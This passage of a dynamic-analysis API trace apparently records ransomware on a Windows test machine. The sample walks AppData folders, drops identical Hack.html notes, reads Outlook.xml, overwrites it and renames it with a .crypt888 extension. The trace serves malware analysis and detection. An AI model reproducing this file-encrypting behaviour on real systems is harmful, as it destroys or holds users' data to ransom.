Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x62 [0079.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpFilePart=0x0) returned 0x63 [0079.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.411] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x62 [0079.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpFilePart=0x0) returned 0x63 [0079.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.412] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.412] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x77 [0079.412] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpFilePart=0x0) returned 0x78 [0079.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a028 [0079.412] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x77 [0079.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpFilePart=0x0) returned 0x78 [0079.413] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a028 [0079.413] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Hack.html", lpFilePart=0x0) returned 0x81 [0079.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.414] GetFileType (hFile=0x174) returned 0x1 [0079.414] GetFileType (hFile=0x174) returned 0x1 [0079.414] WriteFile (in: hFile=0x174, lpBuffer=0x28ace58*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x28ace58*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x6a [0079.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpFilePart=0x0) returned 0x6b [0079.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a028 [0079.415] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.419] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.421] GetFileType (hFile=0x174) returned 0x1 [0079.421] GetFileType (hFile=0x174) returned 0x1 [0079.421] WriteFile (in: hFile=0x174, lpBuffer=0x26b6c74*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26b6c74*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.422] CloseHandle (hObject=0x174) returned 1 [0079.423] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.423] GetFileType (hFile=0x174) returned 0x1 [0079.424] GetFileType (hFile=0x174) returned 0x1 [0079.424] WriteFile (in: hFile=0x174, lpBuffer=0x26b952c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26b952c*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.425] CloseHandle (hObject=0x174) returned 1 [0079.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.426] GetFileType (hFile=0x174) returned 0x1 [0079.426] GetFileType (hFile=0x174) returned 0x1 [0079.426] WriteFile (in: hFile=0x174, lpBuffer=0x26bbdb4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x26bbdb4*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.427] CloseHandle (hObject=0x174) returned 1 [0079.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\65ux3yg0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.440] GetFileType (hFile=0x174) returned 0x1 [0079.440] GetFileType (hFile=0x174) returned 0x1 [0079.440] WriteFile (in: hFile=0x174, lpBuffer=0x26c51b0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26c51b0*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.441] CloseHandle (hObject=0x174) returned 1 [0079.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\ay721qdr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.443] GetFileType (hFile=0x174) returned 0x1 [0079.443] GetFileType (hFile=0x174) returned 0x1 [0079.444] WriteFile (in: hFile=0x174, lpBuffer=0x26c97dc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26c97dc*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.445] CloseHandle (hObject=0x174) returned 1 [0079.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\dzbkzbic\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.447] GetFileType (hFile=0x174) returned 0x1 [0079.447] GetFileType (hFile=0x174) returned 0x1 [0079.447] WriteFile (in: hFile=0x174, lpBuffer=0x26cde08*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26cde08*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.448] CloseHandle (hObject=0x174) returned 1 [0079.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\vrlzoz0e\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.449] GetFileType (hFile=0x174) returned 0x1 [0079.450] GetFileType (hFile=0x174) returned 0x1 [0079.450] WriteFile (in: hFile=0x174, lpBuffer=0x26d2434*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26d2434*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.450] CloseHandle (hObject=0x174) returned 1 [0079.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.452] GetFileType (hFile=0x174) returned 0x1 [0079.452] GetFileType (hFile=0x174) returned 0x1 [0079.453] WriteFile (in: hFile=0x174, lpBuffer=0x26d4cbc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26d4cbc*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.453] CloseHandle (hObject=0x174) returned 1 [0079.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.454] GetFileType (hFile=0x174) returned 0x1 [0079.454] GetFileType (hFile=0x174) returned 0x1 [0079.454] WriteFile (in: hFile=0x174, lpBuffer=0x26d7534*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x26d7534*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.455] CloseHandle (hObject=0x174) returned 1 [0079.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.456] GetFileType (hFile=0x174) returned 0x1 [0079.456] GetFileType (hFile=0x174) returned 0x1 [0079.456] WriteFile (in: hFile=0x174, lpBuffer=0x26d9d84*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26d9d84*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.457] CloseHandle (hObject=0x174) returned 1 [0079.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\mmc\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.459] GetFileType (hFile=0x174) returned 0x1 [0079.459] GetFileType (hFile=0x174) returned 0x1 [0079.459] WriteFile (in: hFile=0x174, lpBuffer=0x26ddbd0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26ddbd0*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.460] CloseHandle (hObject=0x174) returned 1 [0079.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.469] GetFileType (hFile=0x174) returned 0x1 [0079.469] GetFileType (hFile=0x174) returned 0x1 [0079.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.470] GetFileType (hFile=0x174) returned 0x1 [0079.470] GetFileType (hFile=0x174) returned 0x1 [0079.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.471] GetFileType (hFile=0x174) returned 0x1 [0079.472] GetFileType (hFile=0x174) returned 0x1 [0079.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.474] GetFileType (hFile=0x174) returned 0x1 [0079.474] GetFileType (hFile=0x174) returned 0x1 [0079.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.475] GetFileType (hFile=0x174) returned 0x1 [0079.475] GetFileType (hFile=0x174) returned 0x1 [0079.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.476] GetFileType (hFile=0x174) returned 0x1 [0079.476] GetFileType (hFile=0x174) returned 0x1 [0079.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.477] GetFileType (hFile=0x174) returned 0x1 [0079.478] GetFileType (hFile=0x174) returned 0x1 [0079.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.482] GetFileType (hFile=0x174) returned 0x1 [0079.482] GetFileType (hFile=0x174) returned 0x1 [0079.483] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.483] GetFileType (hFile=0x174) returned 0x1 [0079.483] GetFileType (hFile=0x174) returned 0x1 [0079.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.485] GetFileType (hFile=0x174) returned 0x1 [0079.485] GetFileType (hFile=0x174) returned 0x1 [0079.485] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x9a2 [0079.486] ReadFile (in: hFile=0x174, lpBuffer=0x2708a18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2708a18*, lpNumberOfBytesRead=0x39ecbc*=0x9a2, lpOverlapped=0x0) returned 1 [0079.512] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpFilePart=0x0) returned 0x4b [0079.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0079.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.513] GetFileType (hFile=0x174) returned 0x1 [0079.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0079.513] GetFileType (hFile=0x174) returned 0x1 [0079.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpFilePart=0x0) returned 0x4b [0079.514] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.crypt888", lpFilePart=0x0) returned 0x54 [0079.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0079.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6215c440, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc098ab20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x9b0)) returned 1 [0079.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0079.515] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.crypt888")) returned 1 [0079.515] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Hack.html", lpFilePart=0x0) returned 0x49 [0079.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.515] GetFileType (hFile=0x174) returned 0x1 [0079.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.516] GetFileType (hFile=0x174) returned 0x1 [0079.516] SetThreadErrorMode (dwNewMode=0x1, 